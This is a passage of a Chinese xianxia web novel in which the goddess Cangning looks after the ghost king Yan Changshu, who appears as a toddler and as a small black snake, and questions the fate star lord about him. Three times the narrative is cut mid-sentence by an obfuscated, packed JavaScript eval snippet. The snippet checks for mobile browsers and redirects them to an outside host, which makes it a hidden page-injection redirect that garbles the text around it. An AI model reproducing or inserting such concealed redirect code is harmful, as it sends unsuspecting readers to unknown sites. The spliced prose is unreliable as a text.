晏长书之前粗.壮的蛇身,和现在拇指粗细的样子形成了强烈的对比,使她产生了想要戏弄的感觉。 她对阴影里的懵懂小蛇勾了勾手指:“过来。” 小黑蛇吐出蛇信子,歪了歪脑袋。 苍宁还无法确定晏长书变成蛇形是饿迷糊了,还是睡迷糊了。但每到这个时候,晏长书都会来找她。然后像条坏小狗一样啃她一口血。 苍宁喝酒之后或许会纵容那不痛不痒的一口。可是在清醒的时候,苍宁绝对不允许。 她没说话,只是勾了勾手指。 小黑蛇或许是察觉到了喜欢的气息,从黑暗中爬出来,好像是阴影中流出的一道水流。 他和幻化成人身时一样稚嫩,不长的蛇身努力圈在苍宁手腕上,还没有绕上两圈。 “还是长大了一些。”苍宁记得,之前他只能在她手腕上绕上一圈。 小黑蛇黑溜溜的眼睛看着她,反射着清浅的月光。他慢慢地低下头,在苍宁温热的手腕上嗅了嗅,试探着绕了半个身子,紧接着,伏在苍宁的手腕脉搏处,张开的小小的嘴。 苍宁一手横在他的蛇嘴里,卡得他不上不下,没办法下嘴。 “坏蛇,不许咬人。” 苍宁掐住他的七寸,小黑蛇浑身颤抖了一下,圈在她手腕上的尾巴开始奋力甩动,蛇信子不得不贴在她的手指上。 她不确定恢复蛇身后,小黑蛇是否有晏长书的意识。 苍宁眯着眼,试探道:“狗剩,再咬我的话,你就会失去你温柔有耐心的小娘。” 小黑蛇像是没有听懂她的话,还在努力挣扎,苍宁把手指抽回来,小黑蛇嘶嘶出声,豆大的眼睛看上去十分委屈。 “你还委屈上了。”苍宁数落道,“晏长书,你有什么好委屈的?你大开杀戒的事儿上辈子算是赎清了,但是这辈子要是还这样,你就没救了,你就是纯纯坏蛇。” 小黑蛇吐出蛇信子。 苍宁揪住他的尾巴。 小黑蛇像是不敢置信似的,收回蛇信子,然后扭了扭尾巴。 苍宁语重心长道:“你好好看,好好学,我们长大之后当乖乖蛇,行不行?” 小黑蛇的尾巴被捏在苍宁手里,七寸也被苍宁捏在手里,这条完全没有任何人身自由的蛇蛇只能用吐蛇信子表明自己还能动弹。 “乖。” 苍宁的手从光滑细腻的蛇鳞上划过,从蛇尾巴摸到蛇肚子上,小黑蛇乖乖地停下嘴,陷在柔软的被褥里,终于像是一个初来乍到的客人。 苍宁手指有一搭没一搭的抚弄着他的尾巴尖,摸到蛇尾腹部某块地方时,小黑蛇总会情不自禁地瑟缩一下,然后着急忙慌地去绕她的手指。 她不知道这家伙怎么了,但是她很喜欢这种反应。毕竟,着急忙慌四个字可从来不会发生在那个成年鬼王晏长书身上。 慢慢地,夜里的阴影一口吞噬了床榻。 苍宁逐渐睡过去,小黑蛇蛰伏在她的手腕上,在完全的黑暗中张开的小小的獠牙。 鲜血没有出现。也没有痛苦。 小黑蛇咬在苍宁手腕的地方出现团团鬼气,他豆大的瞳孔浮现出赤青色的卍字,尔后,渐渐归于平寂。 小黑蛇摇了摇尾巴,哼哧哼哧爬到苍宁的脖颈处,在她锁骨处绕了个圆,乖乖躺下。 黑夜中,一切都没有声音。 - 苍宁喜欢睡到自然醒。 身为青鸾一族,若是没有睡饱,她的脾气就会格外差。 所以,当桃枝大喊着“前辈,不妙了不妙了”,疯狂敲她的门的时候,她表示出了相当的不悦。 “滚。” 一个轻轻的滚字,隔着几米距离出现在桃枝的耳朵边上。这声言灵让桃枝不断往后退,但是他仍旧不放弃地嘶声裂肺地大喊着:“前辈——!祖宗,小祖宗不见了啊啊啊啊!!” “前辈!” “大前辈!!!!快醒醒啊!!!!!” 苍宁被他喊得心烦意乱,起来解了言灵,勾勾手指。下一秒钟,房间门轰然打开,桃枝唰得一下飞了进来。 床帘是绣着暗纹的米白色,朦朦胧胧的。 桃枝两眼昏花,趴在地上,被强烈的拉扯感弄到想吐。 他呜咽两声:“前辈,我完蛋了,把晏长书丢了,这辈子也没办法晋升成神了呜呜……” 他又是哭,又是喊,别说苍宁,一更的鸡都要被他喊醒了。 “别吵了。”苍宁撩开床帘,赤足下床,伸腿给了他一脚,“你就这点出息!” “成神是我的执念,我的荣耀,我爹娘的夙愿,我一辈子的骄傲……” “胡言乱语什么,你爹娘死多少年了。”苍宁趿着鞋,利落穿起衣裳,“别神神叨叨念了,我脑袋疼。你的小祖宗就在床上。” 桃枝面色如土,脸色黄了好几分,看见苍宁在看他,忽然转手捂住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030001|162303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己的胸脯,往后挪了好几步:“前辈你……你这也……太荒□□道……” “我看你是欠打!说什么没谱的东西,再讲这些自己滚出去。” 苍宁话音刚落,床榻上的小祖宗迷迷糊糊醒来了。 晏长书穿着小衣服,揉着自己葡萄一样的大眼睛,长长的睫毛上沾着打呵欠时的水汽,问道:“桃枝,你怎么在这里。” 他问得很自然,倒是把桃枝乐得够呛。 桃枝站起来,敞开双手,两眼发光:“祖宗啊,我的小祖宗啊!”他好像看见了一条闪闪发光的成神路,想要抱住床上的晏长书,痛哭流涕,“你在这里啊我的——”升官发财梦啊! 晏长书回身一躲,桃枝一个趔趄扑在了床榻上。 苍宁哀其不幸,摇摇头,叹了一口气。 “上学吧。” 还有正事要干呢。 对于晏长书为什么在苍宁的床上,桃枝抱有足够的困惑。苍宁没义务向他解答任何问题,也不准备提起,不过一同上学时,踏着厚厚的白雪,陷在雪堆里的小娃娃拉着桃枝的裤腿,忽然和他讨论起奇怪的问题。 “桃枝,你有没有心悦的女子呀?” 桃枝坚定的像是已经成神:“不,我要成神,我不想要女子。” “哦,可是辨机师傅已经是和尚了,为什么还会想要女子。” “因为他终究是个男子。” “可是你不是男子吗?” 桃枝挺了挺不大的胸脯,骄傲道:“我可是即将成神的男子,和人间男子不同!” 晏长书点点头:“那我是不是长大后也会想要女子?” “呃……”这句话把桃枝问倒了。 他们从没有告诉过晏长书他是从哪里来的。自然,也不会告诉他是鬼族的男子,或是人间的男子。 如果非要有一种分类—— 桃枝正色道:“你也是神界的男子,不会有女子的。” 晏长书思忖半晌,笑道:“那我不当神界的男子了。” “啊?” 晏长书道:“我也当人间的男子,这样就可以——” “等等。”苍宁忽然伸出一只手,停在晏长书面前,“你说什么?” 晏长书抬眸:“我不当神界的男子了。” “你再说一遍。” “小娘你耳朵不好了吗?” 苍宁深吸一口气:“你小娘神经过敏啊,狗剩。你再说这样的话,很难不保证你亲爱的敬爱的小娘会当场发癫。” “小娘,我不叫狗剩,我叫长书。这是师傅给我取的名字。” “好好好,好好好。”苍宁忍住隐隐发作的气息,点他额头,“你老老实实上学,我们很快就换新的先生。” “可以换个命长一点的先生吗?” 桃枝:“……” 苍宁:“……” 晏长书想了想:“其实辨机师傅人挺好的,就是命短了一点。我本来想帮帮他的,可是我没有力气。” 他继续说:“没有力气就不能长大,长不大的话,小娘会一直很痛苦的。” “我不想要你难受,也不想要你痛苦。”晏长书皱眉,“时间不多了,我很着急,苍宁。” 8. 第一桩事·五(修) 苍宁一行人准时到会昌寺时,发现会昌寺被官家上了锁。 ——“高阳公主在此地休憩,不便打扰。” 他们得到的消息是这个。 晏长书看起来十分惬意,嚷嚷着要和小娘去逛街市。可一个转身,苍宁便不在原处了。 “苍宁不见了。” 桃枝:“放心吧,前辈准儿有正事。” 晏长书听见“正事”二字,撅着个嘴儿,感觉可以挂吊桶了。 苍宁确实在忙正事,她想亲眼见证下里面的情况。不过,巧的是,她发现有老熟人也在这里。 高阳公主的门前堵得水泄不通,内侍们团团围住,僧人们站在最外侧,忙着打水清理。 苍宁隐去身形,直直穿过雕花木柱,谁知迎面碰上了抽着香火的貔大虎和鬼身李漱。 李漱跪在活着的自己身前,看上去格外滑稽。 也就是仅有一瞬间,鬼身李漱真的撞进了自己的身子,又被自己的魂魄排斥了出去。 苍宁摸着下巴:“这是宁愿魂飞魄散也不愿意成全你我啊。” 貔大虎啧声:“劝过啦,不跳黄河心不死啊,让她跳吧。” 于是在鬼身李漱几次三番撞进自己身子,睁开眼坐起来,又在坐起来的途中轰然倒在床上,把一种宫女吓得手慌脚乱。 鬼身李漱最后一次被肉身挤出来,弹到一旁的时候,离得最近的宫女忽然感觉到了什么似的,跳起来:“是不是闹鬼了?鬼上身了!” 其他宫女连忙阻止她:“你别瞎说,这可是佛门净地。” “呀,呀,快叫辨机法师来收鬼!” 宫女跑出去叫了一堆人,乱七八糟的人进来又出去,挟持着辨机走了进来。 鬼身李漱一见到辨机,美目大睁,呼吸急促,当场晕了过去。 这场闹剧到这里还没结束,苍宁已经被吵得脑仁疼痛。 只见貔大虎抬手将鬼身李漱收进烟斗里,别在腰上。苍宁道:“你可没说你们要来这里。这和我们谈好的不一样。” “李漱听见自己晕倒了,非要来这里。” “真是老好人啊,老貔。”苍宁皮笑肉不笑。 “说起这个,还是先解决你造的孽。”貔大虎漫不经心道,“李漱说自己从没晕倒在会昌寺过。这可不是命运发展的轨迹。” “哼。” 貔大虎又说:“还有,躺床上的李漱中了术法,我无法解开。若一直无法解开,就一直无法醒来。另外——” 苍宁十分不走心地抬起眼睛。 貔大虎:“另外,我有一种不详的预感。” “我没有不详预感。” 貔大虎沉吟半天,啧声道:“罢了,你且盯着晏长书吧。若有空……也可以上延寿司问问司命星君。” “干脆把李漱给我吧。”麻烦麻烦,也根本没有乐子。 貔大虎摇头:“啧,苍宁,我可是有原则的瑞兽。况且,你在成神前可不是这么说的。你们青鸾一族不是最爱好和平?” 苍宁抿唇,过了半晌,认真询问:“我真的有说过这种话?” 貔大虎:“……” 这场闹剧的收尾,是以辨机的沉默结尾的。 凡人的烦恼,苍宁没什么兴趣看。她探出神识在李漱身上逛了一圈,和鬼身李漱一样反反复复,无法让李漱清醒过来。 这个术法,是熟悉的气息。 苍宁抽身离开,回到寺庙门口时,桃枝和晏长书都已经不在门口。好不容易寻到一个卖冰糖葫芦的地儿,一颗悬着的心才放下。 天空微微下起雪,晏长书拿着晶莹剔透的冰糖葫芦串儿朝她笑道:“小娘,你回来啦。吃冰糖葫芦吗,可甜了。” 桃枝朝苍宁挤眉弄眼,话传到苍宁脑袋里: 【前辈快吃快吃,我好不容易把祖宗哄好了。】 【你们干什么坏事了。】 【哈哈哈哈哈哈哈哈哈哈。前辈,我真是要死了。】 苍宁给面子接过冰糖葫芦串儿,定定地看着他。 小屁孩眨巴眨巴眼睛:“小娘,我乖不乖?” “不乖。” “我很乖呀,你夸夸我嘛。” 苍宁啃了口冰糖葫芦串儿,芝麻香气弥漫在口腔中,十分可口香甜。 晏长书否认了对李漱施加幻术的事实,可是…… “你对李漱做了什么?” 晏长书一愣:“什么呀?” “你说帮了我,你对她做了什么?” “不让她过来呀。”晏长书吃了口另一手上的冰糖葫芦串儿,白白嫩嫩的脸上沾着芝麻粒,“要不然她会打扰小娘的。” 他歪头想了想:“她还没有醒过来吗?” 苍宁:“没有。你不可以这么做。” “为什么?”他问,“是她自己选择不醒过来的。” 苍宁脸色不善。 “小娘,你为什么不高兴?” “如果你……” 苍宁想起了任务,想起了天帝的话,想起了神机庭……如果说出来,事情一定会变得很麻烦。 所以,她忍住了下面的话: 如果你去死,我就高兴了。 - 苍宁唉声叹气地上了神界。 刚走进南天门,迎面碰上了文曲星官。他戴着花儿,吹着口哨踏步而来,活像人间骑马看尽长安花的状元郎。 反看苍宁,活人微死,印堂团团鬼气。 文曲星官微微作揖,问道:“听闻大人有任务急着下界,如今已经完成任务了?” “这才哪到哪,”还不知道要伺候晏长书多久。苍宁深深叹了口气:“造孽啊。” “大人回来得正好。若是心情不顺,可去百花宴逛逛。” “司命星君可在?” “南斗星君们有四位在场,司命星君……许是在的。大人找司命?” “我给晏长书看看命。” “咳咳咳咳给谁看?” “晏长书。” “谁???” 苍宁抿唇,没好气道:“晏、长、书!” 这回文曲星官终于听清楚了,但是流利地岔开了话题:“哦,大人不必纠结于嫁过人的事实。虽然这个晏长书呢,特别了点,但是对大人现在影响不大的。就在咱神界呆着,这是最好的——欸,大人!大人你去哪里!!!” 苍宁回身拍他肩膀:“文曲星官,说得好。实在是说得好。这样,我待会儿回来找你,拜托你做一件事儿。你放心,我放心,整个神界都放心。” 至于能不能吸到鬼气? 干脆让晏长书饿死吧。 文曲星官:“啊?” “一会儿再来找你!” 文曲星官:“不是,大人,等等!” 苍宁跑得没影了。 文曲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030002|162303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 星官无奈之下拂袖道:“司命不记神鬼之命。” - 南斗星君一共六位,苍宁只听闻过司命星君的大名。 他主管延寿司第一天府宫,所有人的寿命和命运都会被他写在长长的卷轴上,保证日月交替,天地运转。 但苍宁之所以听说过司命星君的大名,其实是因为当初她在三危山树杈子上睡觉的时候,听见了几位仙侍的痴迷之语。 “司命星君回神界了!” “啊啊,好可惜,要是能离开东峙宫就好了。” 东峙宫的仙侍不得离开东峙宫半步,这是西王母定下的规矩。能在东峙宫的仙侍,大多仙途安稳而舒坦。 想为司命星君离开东峙宫,可真是个人才。 苍宁当即训斥了这位仙侍,并按照规矩惩罚了她。后续便再也没有听见这样的话。 所以,当苍宁闯入百花宴,认真打量了很久,到底哪一个是司命星君。 按仙侍们的痴迷,司命星君大抵是俊的,可她看不出哪一个是最俊的。 丝弦之声没有因为她的到来而中断,但有不少仙众在打量她。 “哟,苍宁大人来了。” 苍宁随口应和着:“司命星君在哪儿?” “在……”那人眉目一转,隐晦含笑道,“去找花神了。” “哦,在哪?” “他们有事儿。” “什么事儿?” “咳,嗯……要问这么清楚吗?” “很难以启齿吗?” “……” 后来苍宁才知道,司命星君去和花神有约。 这个有约是如同辨机和高阳公主一样的有约,苍宁有点吃惊。 她到人间短短这么几个月,居然出现了这样的八卦。 于是,在她终于找到两人约会地,抱着手在外头等到两人的时候,花神朝后退了半步,下意思看向了司命星君。 “嗨,好久不见。”苍宁展开笑颜,向司命星君打招呼,“等你好久了。” 司命星君果然生得一表人才,温润如玉,他教养极好地耐心说道:“你是……苍宁。确实,好久不见了。” 苍宁还以为他会因为花神在此处,解释他们是第一次见。 毕竟,他们确实没有见过。 花神淡笑道:“大人与阿霁熟识?” 苍宁:“阿霁是谁?” 花神愣了愣,瞬间明白过来,解释道:“原来阿霁没同你说过……也罢。司命星君讳名霁玉,平日里我嫌麻烦,便喊他阿霁了。” “哦~”苍宁拉过司命星君,冲花神笑了笑,“真是不好意思,我现在很需要司命星君,待会儿就把你的阿霁还给你。再见。” 说时迟,那时快,还不待两人错愕的表情完全展露出来,苍宁就像黑风怪一样无情地卷走了女仙侍爱慕的司命星君,留下一个微微张唇的花神,不敢置信地仰头看着。 这种不着格调的事情,苍宁有时候很爱看。这也是她爱看乐子的原因。 她认为别人脸上的反馈总能带来一些意想不到的信息。 比如,她将司命星君霁玉卷走,司命星君没有因为她的举动产生一丝一毫的情绪波动,反倒因为几个字产生了堪称惊讶的表情。 很微妙,但足够具体。只需要这一小小的表情,苍宁就知道貔大虎没有瞎忽悠她。 “晏长书的事情你知道吗?” 9. 第一桩事·间章 “晏长书的事情你知道吗?” 司命星君掸了掸衣袖,沉稳如山:“不知道。” 苍宁抄手而立:“我还没说是什么事情呢。” 司命星君:“……晏长书的事情,本君一概不知。” 自此开始,司命星君的表情无懈可击,没有任何可供苍宁指摘的部分。 延寿司,第一天府宫前。 小童看见司命星君鬓发微乱,面颊微红,同苍宁一起走进来,还以为司命星君背着花神脚踏两条船,努力克制着自己瞠目结舌的模样,僵硬地鞠了一躬。 “星星星君。” 苍宁心里那股想看乐子的劲儿又上来了,捉住小童悄声问:“你家星君的宝贝都藏在哪里?” “啊……”小童看着司命星君的背影,“没有什么宝贝呀。” “怎么会没有呢?” 苍宁的脸近在咫尺,只稍一眼,小童便涨红了脸,吞吞吐吐道:“大人、大人就是这里的宝贝……” 苍宁一愣,听完哈哈大笑,放开小童,跟上去:“司命星君,你家小童挺会甜言蜜语啊,莫不是同你学来的功夫?” 司命星君含了含笑,客气道:“如此,大人便知我延寿司确实没什么宝贝。有关鬼王晏长书的事情,更是不会记录在卷。” “地府掌管人间生死,我知道。可是星君卷上掌管的却不是生死,而是命运,如何不会记录在卷?想必是诓我,不允我看罢了。” 司命星君从容抬手:“若大人不信,尽管翻看。” 他含着客气疏离的微笑,一派光明磊落的模样,带着苍宁走向内室。 天府宫从外看只是一栋平平无奇的双层翘角方形宫殿,可绕过云纹四方罍,五彩石屏后,又穿过狭长的甬道,苍宁才真正看见了天府宫的样貌。 和在外看到的不同,内里呈圆形,中间留有一块圆形空地,沿着圆边儿,所见之处全做成了一格一格的书架,朝着往上蔓延而去,恍似无穷无尽。 苍宁仰头往上看,光正是从上面倾落下来。 但她看不清光的终点在哪里。 浩如烟海的书卷就待在书格中,几名小童腾空整理着,尔后,轻轻巧巧落地,行了礼:“星君。” “你等先出去。” “是。” 待小童要离开,她便揪住一个,问道:“鬼界的书格在哪里?” 小童有点吃惊:“大人,天府宫中从不记载鬼之命。” “怎会没有?难道他们不归属天地运转之中?” 几名小童用袖掩唇咯咯笑起来,似乎是在惊讶她问了一个如此没有常识的问题。 司命星君终于露出了一个轻松的笑容,等待小童回答。 小童说道:“大人,神鬼两界自然在天地运转之中,可是却不在掌控之中。鬼无生,更无死,不是生命,何来命运?” “鬼王,不是曾死过?” “鬼王更不会死啦。只可能是主动或被迫鬼气消散,抑或是……伪装。那可算不得命运。” 小童们又咯咯笑起来。 苍宁问道:“那么,这里只有人间的命运?” “自然。这里主管天子贵胄,列侯相爵禄之位。” “平民百姓……?” “大人,命格并非全部由我们写就,神界并非如此傲慢呢。” 神界,不傲慢? 有阶级自然有傲慢。 她甚至不能说自己是不傲慢的。 苍宁忽然觉得特别好笑:“那是你年纪太小,理想主义。” 苍宁下意识把这些话都定义成冠冕堂皇的狗屁。 小童被这么一说,无奈地看向司命星君。 司命星君摇摇手:“下去吧。”他对苍宁道,“大人可以翻看了。” 苍宁抱着几分疑惑,几分怨气,就近抽出一卷卷轴。 这卷轴非常薄,里头记录的是一位少年将军的平生:十七岁打胜仗,被封为大将军,随后却年纪轻轻死在战场上。 苍宁看得无味,又掏出另一卷:一妃子因为天下易主,而被迫嫁给了自己的继子,继子对其百般恩宠,封为皇后,最终她毒死了继子,成为了一国之主,掌权十年。 这个还算有点意思。 苍宁腾空而起,翻了老半天,确实没有看见鬼界记载。 司命星君在一旁等待着,身姿挺拔,格外有礼。 “大人还有何吩咐?” 苍宁总觉得有哪里不对劲。可她说不上来。 她直接询问:“按你们这么说,你们不知道晏长书什么时候会死咯?” “他死了吗?”司命星君淡淡回问。 “哈哈哈。他怎么不算死了呢。” 司命星君欲言又止,顿了顿,说道:“大人不必去想这些。晏长书活着,必定有他活着的道理。如果要他灰飞烟灭,恐怕很难做到。” “真的吗?我不信。你我很难做到,难道神界没人能做到?” “通常会采用一个折中的法子。”司命星君抬眸道,“忘记。” “好。好好好。”苍宁点点头,懒得和他在这件事情下纠缠,转而捏了一个诀儿,“星君,你可有见过这个印记。” 她捏出来的,是李漱身上的术。 司命星君面无表情地盯着这个术看了良久,说道:“这是仙术。” 仙术?晏长书现在会用仙术了? “哦~谁的术?” “识不得。” “当真识不得?该不会是你下的术法吧?” 司命星君道:“大人,若想来体验一下天府宫的工作强度,今日就可以开始。到时候你就知道,我真的没这么闲。” - 苍宁从天府宫出来,更是觉得走投无路。 养这个孩子真真正正是养定了。 下神界的途中又碰到文曲星官。 苍宁道:“待人间的事儿处理完了,我领着人上来找你。” “谁啊?” “一个小朋友。很乖,很甜,很听话。”苍宁说,“天生良善,踩着蚂蚁都会哭,星官,你务必要帮我儿成为一个正直、爱人、诚信、友善?的好儿郎啊!” 文曲星官:“啊?大人,你有孩子了??大人,大人等等啊?!” “就拜托你啦——” 文曲星官:“大人!!” 再说一遍。苍宁在心底道: 再表明一遍态度。 晏长书在神界吃不到鬼气? 管他去死啊。 - 静夜沉沉,浮光霭霭。 冷浸溶溶月。 细雪无声,天地之间,只剩下苍宁一个人的踩雪声。 嘎吱嘎吱响。 回到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030003|162303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宅子里的时候,桃枝已经呼呼大睡。桌上还摆着已经写完的育儿书读后感。 苍宁从他手臂下抽出来一看: 自鬼王重新降世以来,性情发生了跨越式的变化。为了巩固鬼王的三观,实现又好又快发展…… 苍宁啧啧称奇。 笔杆子啊,比她会写报告多了。 难怪能这么快和她一起做任务。未来可期啊。 只是,里面提到的需求恐怕无法落地。 项目的方向变了。她决定带晏长书回到神界去。 她在上头写上“已阅”二字,回到房间,变出一个浴桶。她捏诀儿将水煮滚了,舒舒服服坐进去,享受着热水浸透每一寸肌肤的舒适感。 她理了理思绪。 为了神界的信誉,得先将李漱的事情了结。得先解开那个术法,再考虑带晏长书回去。 鬼界……嗯,趁着鬼界一无所知的时候最好,省得到时候她夹在中间还得出席假惺惺的会议。 苍宁将腿抬起来,搁在浴桶边沿,眯着眼睛,努力清空自己的大脑。 室内一灯如豆,她的影子打在墙壁上,绰绰约约,水珠溅落。 但一个若有似无的影子钻出来,让她有点在意。 舒服得迷迷糊糊之间,她从自己翘起的小腿之间,看见正对着的床榻的地方,一条小笨黑蛇正蜿蜒在床边,探着脑袋,黑豆一样的眼睛傻乎乎地探究着她。 非常迷茫,非常纯真。明明是一条蛇,狗味儿却很重。 苍宁脑中停滞了一瞬,登时将腿放进水中,溅起一滩水。 晏长书多大了?看上去才人类的三岁! 可他实际上多大了?数不清了。 延寿司的小童说鬼根本不会死,那现在就是伪装!晏长书看着只有三岁,其实是个老东西了! 她被老东西看光了?不不不,苍宁抬起身琢磨了一下自己,长舒一口气。 看不到的。还好还好。 只是…… “不许看。” 苍宁冷脸道:“你一点也不乖。” 小黑蛇缓慢挪动的头顿了顿,游弋着,换了个方向歪头,精巧的蛇信子吐出来,收回来,慢慢往下俯身。 许是感到了不太适宜的热度,他缓慢钻进了被褥里,留下一个小小的脑袋。 小圆眼睛看着苍宁,又挪上去,黏住她睡的枕头。 好像是一直在等她。 “晏长书,你要不要脸啊。” 苍宁捏个诀儿的工夫,身上已然换上干净的衣裳,也变得馨香干爽。 她掀开被褥,小黑蛇显然被吓到了,惊得挪到枕头边上,蜷起来。 “你也知道你做错事情了。”苍宁眯着眼,“你要将功补过很难,你知道吗?你连暖床都不会,你睡过的地方都是凉凉的,我一点都不喜欢。” 小黑蛇眼睛里有种熟悉的委屈在浮现。 苍宁指着他:“快爬回自己床上睡觉,听见没?” 小黑蛇打量着面前的手指,抬起身子仔仔细细,小心翼翼地感触了下气息。 他似乎对面前的味道十分满意,将脑袋搁在上面,发了会儿呆。 随后,他张开嘴巴,一口吞下了苍宁的指尖,尾巴全部缠上来,将她的手指用力裹住,吞得更卖力了。 很香的味道。 想要全部吃掉。 10. 第一桩事·六 狭窄的口腔包裹着苍宁的手指,有种冰冷湿腻的感觉。 小黑蛇缓缓在苍宁手腕上爬行,尾巴尖都在用力,努力地一点点地想要把苍宁吞下去。可惜实在是太过弱小,又不够强壮,撑得腮帮子发白,眼看就要把自己撑死了。 苍宁无语地挠他的尾巴尖。 他明显颤了一下,腮帮子都没那么使劲儿了。 苍宁笑了一声:“晏长书,想把我吞了,等下辈子吧。” 她见晏长书有反应,松了手,又去挠他的尾巴尖。来回几次,小黑蛇腾地一下松开了嘴,松松挂在她的手腕上,两颗小黑豆一样的眼睛仿佛怒气腾腾,悠悠回身往苍宁手臂上爬去。 他身上的鳞片若贴近细看,恍似反射出冷冷的青光。每一块细小的鳞片都规整而柔软,但是苍宁忽然发现刚刚她挠过的地方翻起了几块鳞片,露出了小黑蛇细嫩的皮肉,看上去像极了小小的伤口。 他坚定不移地往上爬,腰腹用力,翻起来的鳞片不断摩擦,很快就磨破了。 苍宁见他忽然停在了自己手臂内侧,小脑袋探了探,随后张嘴给了她两个小小的咬痕。 “嘶——” 苍宁把他拎起来:“饿坏了是吧。又开始咬我了。” 小黑蛇成功咬出了几滴血,张嘴打了个哈欠,吐出蛇信子。 歪头。 呆滞—— 苍宁眯眼。 这家伙变成蛇的时候怎么这么呆!! 她没有给过多的同情,出门把晏长书丢进了自己房里。小黑蛇懵逼地在床上打转,像是分不清在哪里,之后特别着急地去找苍宁。 苍宁把门一关,巨大的黑影吞噬了房间的一切。小黑蛇陷在冰凉的被褥中,缓慢地、缓慢地溜下床,去寻找记忆中的气息。 除此之外,小家伙没有想任何事情。 而这一头,苍宁觉得自己给晏长书养成了极其不好的习惯,就是一起睡觉。 想当初成婚之时,苍宁就很讨厌肢体接触。就算变成蛇也一样! 只不过,小小的确实可爱一点。就像她看见小小的晏长书拿着冰糖葫芦,会愿意接过来尝试一下。 这倒不是因为什么同情,只是因为这个时候的他还很弱小,没有什么值得她在乎的攻击性。 和天界将他留下的理由一模一样。 一码归一码,苍宁隔日早上起来的时候还是很气。 因为晏长书正趴在她的被子里呼呼大睡,几岁的娃娃短手短脚,脸颊肉嘟嘟的,把他唤醒之后,他反倒成为了最惊讶的那个人。 “唔,小娘我怎么又在你这里呀?” 苍宁抱着手,摘了钗环的长发凌乱又不失优美地垂落在她肩头,不施粉黛的脸庞上带着怀疑的神情。 她一步一步询问:“昨天做梦了?” “嗯……”晏长书眨巴眨巴,眼睛滴溜溜地转了一圈,“好像是。好像是梦到了一个很漂亮的姐姐。但是姐姐好凶,要把我丢走,我很害怕,所以一直想要来找小娘帮我。” 他想了想,垂下小脑瓜:“可是……小娘不愿意出来,我没办法,只能跟进去找。” “哦?”苍宁挑眉听他说故事,“我去哪里了?” “一个鸡蛋里,里面乱七八糟的,蛋黄和蛋白都搅在一起……” 苍宁敲他脑袋:“我看你是想吃鸡蛋了。”她说,“今日应当也不必上课,你有没有什么东西放在庙中需要整理?” 晏长书摇摇头。 苍宁拔高音量:“若是没有,便赶紧从我床上起开。” 晏长书愣了两秒,抱着小被子一顾三回头。 苍宁忙着要换衣服,伸脚就给踹出门,动动手指关上了门。 晏长书摔了一个大跟头。 桃枝穿中堂而过,看见自己的业绩摔在地上,连忙赶过来,真是捧在手里怕摔着,含在手里怕化了,一个劲儿地哄。 晏长书站起来,淡定地拍了拍自己的衣裳,问道:“桃枝,小娘是不是真的不喜欢我呀?” “这怎么会呢!” 桃枝弯着腰,活像宫里的大太监,很大声的佐证:“前辈怎么可能不喜欢你呢!她超喜欢你的!爱死!” 晏长书抬头:“那小娘喜欢我什么呀?” “聪明啊,读书好啊,正直啊,善良啊,那个……”桃枝擦了擦汗,“那个,那个,特别乖啊。” “可是小娘说我一点都不乖。我要怎么样才可以乖一点呢?” “解决一些难题吧……”桃枝以手作扇,扇着风:“怎么这么热,一回答这些问题我就冒汗哈哈哈哈哈哈!呼——这些问题太带感啦!” 晏长书又问:“什么难题啊?” “你长大变得聪明、正直、善良,变得特别乖啊。” “我很快就会长大的。但这是难题吗?” “啊……”桃枝忙不迭擦汗,音调像是飘在空中,最后一拍手,感觉要碎了,“不、不是,哈、哈。” 晏长书垂下头,不知道在想什么,半晌后说道:“桃枝,这不是难题,你只是把那几个词重复了一遍。” 他转身拍门:“小娘,我们今天上学吗?” 过了很久,苍宁的声音遥遥从房间里传出来。 “不。” 晏长书转身往自己的房间里走。 不知道是哪一种情绪在起作用,桃枝跟上去,竟然觉得周围的气压压得他抬不起腰。 晏长书回头问:“桃枝,我要是能帮上她的忙呢?” - 除了那些需要被旁人眼见为实的事情之外,很多事情都是暗中进行的。 下午貔大虎来催了一次,苍宁心情不好,甩给他一个金饼子,他喜笑颜开地闭上嘴。 “我去找了司命星君。” 貔大虎咬了口金饼子,当零嘴一样吃下了肚子,说道:“怎么样?” “满嘴胡话,”苍宁说,“你为什么要我去找他?” “我可是瑞兽,感觉不会错~” “说正经的。” 貔大虎如龙的云鬃甩了甩:“感觉,就是一种感觉~我相信感觉~” “好了,麻烦你闭嘴。” 夜晚,苍宁一个人前往会昌寺。 李漱身边重重把守,门内站了一水儿的宫女,门外站着佝偻着腰的太监。 一个贴身宫女用帕子帮她擦拭身体,苍宁就这么走进屋里,坐在床边。 没有一个人发现她的存在。 